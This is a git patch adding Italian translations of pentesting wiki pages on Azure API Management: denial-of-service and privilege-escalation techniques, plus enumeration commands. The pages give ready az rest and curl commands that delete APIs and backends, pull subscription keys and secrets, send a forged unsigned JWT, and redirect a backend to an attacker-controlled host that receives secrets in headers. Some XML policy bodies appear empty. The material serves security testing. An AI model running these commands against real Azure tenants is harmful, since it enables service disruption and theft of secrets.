From c65f7b396a38913d42d783b1b8bd86a38738d4e2 Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 23 Dec 2025 16:36:53 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation --- .../az-api-management-post-exploitation.md | 75 ++++++++ .../az-api-management-privesc.md | 170 ++++++++++++++++++ .../az-services/az-api-management.md | 75 ++++++++ 3 files changed, 320 insertions(+) create mode 100644 src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md create mode 100644 src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md create mode 100644 src/pentesting-cloud/azure-security/az-services/az-api-management.md diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md new file mode 100644 index 000000000..d6770c5b2 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md @@ -0,0 +1,75 @@ +# Azure - API Management Post-Exploitation + +{{#include ../../../banners/hacktricks-training.md}} + +## `Microsoft.ApiManagement/service/apis/policies/write` or `Microsoft.ApiManagement/service/policies/write` +L'attaccante può usare molteplici vettori per causare un denial of service. Per bloccare il traffico legittimo, l'attaccante aggiunge rate-limiting e quota policies con valori estremamente bassi, impedendo di fatto l'accesso normale: +```bash +az rest --method PUT \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//apis//policies/policy?api-version=2024-05-01" \ +--headers "Content-Type=application/json" \ +--body '{ +"properties": { +"format": "rawxml", +"value": "" +} +}' +``` +Per bloccare specifici indirizzi IP di client legittimi, l'attaccante può aggiungere policy di filtraggio IP che rifiutano le richieste provenienti da indirizzi selezionati: +```bash +az rest --method PUT \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//apis//policies/policy?api-version=2024-05-01" \ +--headers "Content-Type=application/json" \ +--body '{ +"properties": { +"format": "rawxml", +"value": "
1.2.3.4
1.2.3.5
" +} +}' +``` +## `Microsoft.ApiManagement/service/backends/write` o `Microsoft.ApiManagement/service/backends/delete` +Per far fallire le richieste, l'attaccante può modificare la configurazione del backend e cambiare il suo URL in un indirizzo non valido o non raggiungibile: +```bash +az rest --method PUT \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends/?api-version=2024-05-01" \ +--headers "Content-Type=application/json" "If-Match=*" \ +--body '{ +"properties": { +"url": "https://invalid-backend-that-does-not-exist.com", +"protocol": "http" +} +}' +``` +Oppure eliminare i backend: +```bash +az rest --method DELETE \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends/?api-version=2024-05-01" \ +--headers "If-Match=*" +``` +## `Microsoft.ApiManagement/service/apis/delete` +Per rendere le API critiche non disponibili, l'attaccante può eliminarle direttamente dal servizio API Management: +```bash +az rest --method DELETE \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//apis/?api-version=2024-05-01" \ +--headers "If-Match=*" +``` +## `Microsoft.ApiManagement/service/write` or `Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action` +Per bloccare l'accesso da Internet, l'attaccante può disabilitare l'accesso pubblico alla rete sul servizio API Management: +```bash +az rest --method PATCH \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service/?api-version=2024-05-01" \ +--headers "Content-Type=application/json" \ +--body '{ +"properties": { +"publicNetworkAccess": "Disabled" +} +}' +``` +## `Microsoft.ApiManagement/service/subscriptions/delete` +Per bloccare l'accesso degli utenti legittimi, l'attaccante può eliminare le sottoscrizioni di API Management: +```bash +az rest --method DELETE \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//subscriptions/?api-version=2024-05-01" \ +--headers "If-Match=*" +``` +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md new file mode 100644 index 000000000..fe1f4288b --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md @@ -0,0 +1,170 @@ +# Az - API Management Privesc + +{{#include ../../../banners/hacktricks-training.md}} + +## `Microsoft.ApiManagement/service/namedValues/read` & `Microsoft.ApiManagement/service/namedValues/listValue/action` + +L'attacco consiste nell'accedere a secrets sensibili memorizzati in Azure API Management Named Values, sia recuperando direttamente i valori dei secrets, sia abusando dei permessi per ottenere secrets Key Vault–backed tramite managed identities. +```bash +az apim nv show-secret --resource-group --service-name --named-value-id +``` +## `Microsoft.ApiManagement/service/subscriptions/read` & `Microsoft.ApiManagement/service/subscriptions/listSecrets/action` +Per ogni subscription, l'attaccante può ottenere le chiavi della subscription utilizzando l'endpoint listSecrets con il metodo POST: +```bash +az rest --method POST \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//subscriptions//listSecrets?api-version=2024-05-01" +``` +La risposta include la subscription primary key (primaryKey) e la secondary key (secondaryKey). Con queste chiavi, l'attacker può autenticarsi e accedere alle APIs pubblicate tramite l'API Management Gateway: +```bash +curl -H "Ocp-Apim-Subscription-Key: " \ +https://.azure-api.net/ +``` +L'attacker può accedere a tutte le APIs e ai prodotti associati alla sottoscrizione. Se la sottoscrizione ha accesso a prodotti o APIs sensibili, l'attacker può ottenere informazioni riservate o eseguire operazioni non autorizzate. + +## `Microsoft.ApiManagement/service/policies/write` or `Microsoft.ApiManagement/service/apis/policies/write` + +L'attacker recupera prima la policy API corrente: +```bash +az rest --method GET \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//apis//policies/?api-version=2024-05-01&format=rawxml" +``` +L'attaccante può modificare la policy in diversi modi a seconda dei suoi obiettivi. Ad esempio, per disabilitare l'autenticazione, se la policy include la validazione del token JWT, l'attaccante può rimuovere o commentare quella sezione: +```xml + + + + + + + + + + + + + + + + +``` +Per rimuovere i controlli di rate limiting e consentire attacchi di denial-of-service, l'attaccante può rimuovere o commentare le policy di quota e rate-limit: +```xml + + + + + + +... + +``` +Per modificare la route del backend e reindirizzare il traffico verso un server controllato dall'attaccante: +```xml + +... + + + + +... + +``` +L'attaccante applica quindi la policy modificata. Il corpo della richiesta deve essere un oggetto JSON contenente la policy in formato XML: +```bash +az rest --method PUT \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//apis//policies/policy?api-version=2024-05-01" \ +--headers "Content-Type=application/json" \ +--body '{ +"properties": { +"format": "rawxml", +"value": "" +} +}' +``` +## Misconfigurazione della validazione JWT + +L'attacker deve sapere che un'API usa JWT token validation e che la policy è misconfigurata. Policy di validazione JWT configurate male possono avere `require-signed-tokens="false"` o `require-expiration-time="false"`, il che permette al servizio di accettare unsigned tokens o tokens che non scadono mai. + +L'attacker crea un JWT malevolo usando l'algoritmo none (unsigned): +``` +# Header: {"alg":"none"} +# Payload: {"sub":"user"} +eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyIn0. +``` +L'attaccante invia una richiesta all'API utilizzando il token malevolo: +```bash +curl -X GET \ +-H "Authorization: Bearer eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyIn0." \ +https://.azure-api.net/path +``` +Se la policy è configurata in modo errato con `require-signed-tokens="false"`, il servizio accetterà il token non firmato. L'attaccante può anche creare un token senza un expiration claim se `require-expiration-time="false"`. + +## `Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action` +L'attaccante verifica innanzitutto la configurazione di rete corrente del servizio: +```bash +az rest --method GET \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service/?api-version=2024-05-01" +``` +L'attaccante esamina la risposta JSON per verificare i valori di `publicNetworkAccess` e `virtualNetworkType`. Se `publicNetworkAccess` è impostato su false o `virtualNetworkType` è impostato su Internal, il servizio è configurato per accesso privato. + +Per esporre il servizio a Internet, l'attaccante deve modificare entrambe le impostazioni. Se il servizio è in modalità internal (`virtualNetworkType: "Internal"`), l'attaccante lo modifica in None o External e abilita l'accesso alla rete pubblica. Questo può essere fatto usando l'Azure Management API: +```bash +az rest --method PATCH \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service/?api-version=2024-05-01" \ +--headers "Content-Type=application/json" \ +--body '{ +"properties": { +"publicNetworkAccess": "Enabled", +"virtualNetworkType": "None" +} +}' +``` +Una volta che `virtualNetworkType` è impostato su `None` o `External` e `publicNetworkAccess` è abilitato, il servizio e tutte le sue API diventano accessibili da Internet, anche se in precedenza erano protetti dietro una rete privata o private endpoints. + +## `Microsoft.ApiManagement/service/backends/write` +L'attaccante prima enumera i backends esistenti per identificare quale modificare: +```bash +az rest --method GET \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends?api-version=2024-05-01" +``` +L'attaccante recupera la configurazione corrente del backend che vuole modificare: +```bash +az rest --method GET \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends/?api-version=2024-05-01" +``` +L'attaccante modifica l'URL del backend per puntare a un server sotto il proprio controllo. Per prima cosa ottiene l'ETag dalla risposta precedente e poi aggiorna il backend: +```bash +az rest --method PUT \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends/?api-version=2024-05-01" \ +--headers "Content-Type=application/json" "If-Match=*" \ +--body '{ +"properties": { +"url": "https://attacker-controlled-server.com", +"protocol": "http", +"description": "Backend modified by attacker" +} +}' +``` +In alternativa, l'attaccante può configurare le intestazioni di backend per esfiltrare i Named Values contenenti segreti. Questo viene fatto tramite la configurazione delle credenziali di backend: +```bash +az rest --method PUT \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends/?api-version=2024-05-01" \ +--headers "Content-Type=application/json" "If-Match=*" \ +--body '{ +"properties": { +"url": "https://attacker-controlled-server.com", +"protocol": "http", +"credentials": { +"header": { +"X-Secret-Value": ["{{named-value-secret}}"] +} +} +} +}' +``` +Con questa configurazione, i Named Values vengono inviati come header in tutte le richieste al backend controllato dall'attaccante, permettendo l'esfiltrazione di segreti sensibili. + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-api-management.md b/src/pentesting-cloud/azure-security/az-services/az-api-management.md new file mode 100644 index 000000000..28d53aefb --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-services/az-api-management.md @@ -0,0 +1,75 @@ +# Az - API Management + +{{#include ../../../banners/hacktricks-training.md}} + +## Informazioni di base + +Azure API Management (APIM) è un servizio fully managed che offre una **piattaforma unificata per pubblicare, proteggere, trasformare, gestire e monitorare le API**. Permette alle organizzazioni di **centralizzare la strategia API** e garantire governance, prestazioni e sicurezza coerenti attraverso tutti i loro servizi. Agendo come un livello di astrazione tra i servizi di backend e i consumatori di API, APIM semplifica l'integrazione e migliora la manutenibilità fornendo al contempo capacità operative e di sicurezza essenziali. + +## Concetti principali + +**L'API Gateway** funge da punto di ingresso unico per tutto il traffico API, gestendo funzioni come l'instradamento delle richieste verso i servizi di backend, l'applicazione di limiti di chiamata, la memorizzazione nella cache delle risposte e la gestione dell'autenticazione e autorizzazione. Questo gateway è completamente ospitato e gestito da Azure, garantendo alta disponibilità e scalabilità. + +**Il Developer Portal** fornisce un ambiente self-service in cui i consumatori di API possono scoprire le API disponibili, consultare la documentazione e testare gli endpoint. Aiuta a snellire l'onboarding offrendo strumenti interattivi e l'accesso alle informazioni sulle sottoscrizioni. + +**Il Management Portal (Management Plane)** è utilizzato dagli amministratori per configurare e mantenere il servizio APIM. Da qui, gli utenti possono definire API e operation, configurare il controllo accessi, applicare policy, gestire utenti e organizzare le API in prodotti. Questo portale centralizza l'amministrazione e assicura una governance API coerente. + +## Autenticazione e autorizzazione + +Azure API Management supporta diversi meccanismi di autenticazione per proteggere l'accesso alle API. Questi includono subscription keys, OAuth 2.0 tokens e client certificates. APIM si integra inoltre nativamente con Microsoft Entra ID, abilitando la gestione dell'identità a livello enterprise e l'accesso sicuro sia alle API sia ai servizi di backend. + +## Policy + +Le policy in APIM permettono agli amministratori di personalizzare l'elaborazione di request e response a vari livelli di granularità, inclusi il servizio, l'API, l'operation o il prodotto. Attraverso le policy è possibile far rispettare la validazione di JWT token, trasformare payload XML o JSON, applicare rate limiting, limitare le chiamate per indirizzo IP o autenticarsi verso i servizi di backend usando managed identities. Le policy sono altamente flessibili e costituiscono uno dei punti di forza della piattaforma API Management, permettendo un controllo granulare sul comportamento runtime senza modificare il codice di backend. + +## Named Values + +Il servizio fornisce un meccanismo chiamato **Named Values**, che consente di memorizzare informazioni di configurazione come segreti, API keys o altri valori richiesti dalle policy. + +Questi valori possono essere memorizzati direttamente all'interno di APIM o referenziati in modo sicuro da Azure Key Vault. I Named Values promuovono una gestione centralizzata e sicura dei dati di configurazione e semplificano la scrittura delle policy permettendo riferimenti riutilizzabili invece di valori hardcoded. + +## Integrazione di rete e sicurezza + +Azure API Management si integra perfettamente con gli ambienti di Virtual Network, consentendo connettività privata e sicura ai sistemi di backend. + +Quando distribuito all'interno di una Virtual Network (VNet), APIM può accedere a servizi interni senza esporli pubblicamente. Il servizio permette inoltre la configurazione di certificati personalizzati per supportare l'autenticazione mutual TLS con i servizi di backend, migliorando la sicurezza in scenari in cui è richiesta una forte convalida dell'identità. + +Queste funzionalità di networking rendono APIM adatto sia per architetture cloud-native sia ibride. + + +### Enumerare + +Per enumerare il servizio API Management: +```bash +# Lists all Named Values configured in the Azure API Management instance +az apim nv list --resource-group --service-name + +# Retrieves all policies applied at the API level in raw XML format +az rest --method GET \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//apis//policies/?api-version=2024-05-01&format=rawxml" + +# Retrieves the effective policy for a specific API in raw XML format +az rest --method GET \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//apis//policies/policy?api-version=2024-05-01&format=rawxml" + +# Gets the configuration details of the APIM service instance +az rest --method GET \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service/?api-version=2024-05-01" + +# Lists all backend services registered in the APIM instance +az rest --method GET \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends?api-version=2024-05-01" + +# Retrieves details of a specific backend service +az rest --method GET \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends/?api-version=2024-05-01" + +# Gets general information about the APIM service +az rest --method GET \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service/?api-version=2024-05-01" + +# Calls an exposed API endpoint through the APIM gateway +curl https://.azure-api.net/ + +``` +{{#include ../../../banners/hacktricks-training.md}}